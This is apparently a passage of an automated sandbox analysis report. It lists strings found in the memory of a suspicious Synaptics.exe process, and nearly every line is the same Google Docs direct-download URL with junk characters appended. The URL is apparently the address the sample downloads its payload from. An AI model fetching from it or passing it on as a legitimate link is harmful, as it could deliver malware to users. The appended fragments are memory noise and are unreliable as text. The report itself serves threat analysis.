Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle?
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleD
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleX
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleco:8O
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni5
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllP
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllX
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlld
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem6
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlll
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadls
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlu
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlunaL
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlvin
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlving
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmQ
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadma
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme$
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme8
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeD
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeH
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeL
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmo
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmput#
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn-
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn-o
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.w
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn0
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn0Y
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn1XQ
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnSK
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnaD
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnaP
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncD
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncT
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncV
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnca
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncis
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncl
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne.cnj9
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne4
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadned
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnep
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnet
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnex
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni8
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni;
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnil
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnmA
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnn
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnonce
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnt
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnt-Le
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnt9Vy
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadntp
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadny
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadny$8
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado9z-t=
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado:
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoW64
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogK
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogle
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadol
